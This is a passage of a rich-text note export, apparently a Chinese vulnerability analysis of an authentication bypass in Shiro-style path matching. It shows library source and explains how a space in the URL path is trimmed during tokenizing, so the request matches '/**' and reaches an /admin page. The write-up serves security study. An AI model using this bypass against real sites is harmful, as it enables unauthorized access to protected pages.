}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pDsX-1669628859196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7vdN-1669628859195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7GAr-1669628859198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vPvb-1669628859197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            pathPattern = (String)var6.next();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AXaG-1669628859200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yc8s-1669628859199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (pathPattern != null &amp;&amp; !\&#34;/\&#34;.equals(pathPattern) &amp;&amp; pathPattern.endsWith(\&#34;/\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WYPK-1669628859202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qo1u-1669628859201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                pathPattern = pathPattern.substring(0, pathPattern.length() - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Eat8-1669628859204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y7Sg-1669628859203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4iTw-1669628859206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eEPL-1669628859205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } while(!this.pathMatches(pathPattern, requestURI));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ERM1-1669628859208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9UR1-1669628859207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PJDq-1669628859210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7LKQ-1669628859209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (log.isTraceEnabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rlJ1-1669628859212&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GHRU-1669628859211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            log.trace(\&#34;Matched path pattern [\&#34; + pathPattern + \&#34;] for requestURI [\&#34; + Encode.forHtml(requestURI) + \&#34;].  Utilizing corresponding filter chain...\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NMTD-1669628859214&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t2rB-1669628859213&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FgHO-1669628859216&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mdad-1669628859215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fEBE-1669628859218&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;00is-1669628859217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return filterChainManager.proxy(originalChain, pathPattern);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xecW-1669628859220&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gE5-1669628859219&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Er3-1669628859222&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uNeV-1669628859221&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;typescript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4en-1669619385981&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5uZ1-1669619385979&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在getChain方法中匹配到URL和循环匹配路由末位为 \&#34;/\&#34;时将会将其删除。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ip7L-1669634574500&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xg5K-1669634574498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟进tokenizeToStringArray方法一路step into：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LkzN-1669633975392&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4092/WEBRESOURCE83da7053c12b4e41cb5dcf4dae2d6319&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4092/WEBRESOURCE83da7053c12b4e41cb5dcf4dae2d6319&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ycOE-1669619379842&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uL5Y-1669619379840&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟到这里就比较清晰了，StringTokenizer以 \&#34;/\&#34;为分隔符划分token，而函数中有调用trim()方法，使得路由中的空格\&#34; \&#34;被忽略，导致最终返回的比较结果为false：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zvkM-1669634759882&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;urqK-1669634759834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HdFT-1669634759833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public static String[] tokenizeToStringArray(String str, String delimiters, boolean trimTokens, boolean ignoreEmptyTokens) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DqSp-1669634759836&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d0NR-1669634759835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (str == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZen-1669634759838&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ypvE-1669634759837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0pov-1669634759840&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L2C0-1669634759839&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8He9-1669634759843&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;phMV-1669634759841&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        StringTokenizer st = new StringTokenizer(str, delimiters);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OgHQ-1669634759845&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4DLu-1669634759844&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ArrayList tokens = new ArrayList();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rb52-1669634759847&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AllY-1669634759846&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2A5z-1669634759849&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AaeH-1669634759848&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H4qx-1669634759851&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YZgl-1669634759850&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            String token;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j6UB-1669634759853&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7P8d-1669634759852&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            do {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ef6b-1669634759855&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;en6p-1669634759854&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (!st.hasMoreTokens()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sOsP-1669634759857&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P9ng-1669634759856&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return toStringArray(tokens);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KTz9-1669634759859&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EM2v-1669634759858&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g6EL-1669634759861&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AmF3-1669634759860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XIfA-1669634759863&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nZ2w-1669634759862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                token = st.nextToken();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLq4-1669634759865&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bf6f-1669634759864&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (trimTokens) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CZzh-1669634759867&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;72Kh-1669634759866&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    token = token.trim();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DrAZ-1669634759869&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E4EY-1669634759868&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DESs-1669634759871&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Iig-1669634759870&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } while(ignoreEmptyTokens &amp;&amp; token.length() &lt;= 0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oQwr-1669634759873&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lsU7-1669634759872&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5qCM-1669634759875&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ip27-1669634759874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            tokens.add(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;syp2-1669634759877&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hNVl-1669634759876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DmnY-1669634759879&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bLto-1669634759878&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bjnv-1669634759881&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IeWu-1669634759880&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;typescript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kr0r-1669634759887&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BbrH-1669634759886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3v37-1669634411363&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4096/WEBRESOURCE64a652183b6efa84aa4311add6145aa0&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4096/WEBRESOURCE64a652183b6efa84aa4311add6145aa0&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zfcz-1669634080537&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K3Kb-1669634080534&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4g3S-1669634509859&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4097/WEBRESOURCE5aae4be6fe243bbc0115840edfbf6758&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4097/WEBRESOURCE5aae4be6fe243bbc0115840edfbf6758&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;06zS-1669634547516&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4099/WEBRESOURCEc1962d5c433f301f4876f51192414a7f&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4099/WEBRESOURCEc1962d5c433f301f4876f51192414a7f&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yzoo-1669634687545&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4104/WEBRESOURCEb8ce8ad153555c33c965475ca4d4d56f&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4104/WEBRESOURCEb8ce8ad153555c33c965475ca4d4d56f&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p8aK-1669619380024&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Ppc-1669619380023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最后成功匹配的路由为 \&#34;/**\&#34;，导致权限绕过&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ASl5-1669635695253&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4117/WEBRESOURCEa74819ee647ea298f0c621cef4fd237b&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4117/WEBRESOURCEa74819ee647ea298f0c621cef4fd237b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KJE9-1669634937659&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cmmL-1669634937658&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而spring默认对空格处理为null，正常返回/admin页面&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qvPz-1669638099926&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4124/WEBRESOURCEd849c600c0040f6d46fa5efde2208df4&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4124/WEBRESOURCEd849c600c0040f6d46fa5efde2208df4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohrT-1669638178957&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4126/WEBRESOURCE91ed6d2bb5695fc832e116f456ea06f6&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4126/WEBRESOURCE91ed6d2bb5695fc832e116f456ea06f6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kl43-1669638106440&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p63l-1669638106437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TOd2-1669638101108&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;COVw-1669638101106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;getPathWithinApplication&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdOG-1669634937795&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vYUs-1669634937794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;另一处漏洞点在于getPathWithinApplication&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g0Tr-1669639504548&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4131/WEBRESOURCE017fce1d79c222f33f1958adffe3cc68&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4131/WEBRESOURCE017fce1d79c222f33f1958adffe3cc68&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QZeW-1669634923504&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34ob-1669634923503&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一路step into可以看到最后使用normalize函数对path进行处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xkvn-1669639562594&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JO1G-1669639562497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tCyJ-1669639562496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private static String normalize(String path, boolean replaceBackSlash) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b4DZ-1669639562499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pSOr-1669639562498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (path == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EMhN-1669639562501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGZm-1669639562500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kuhu-1669639562503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dxMp-1669639562502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else 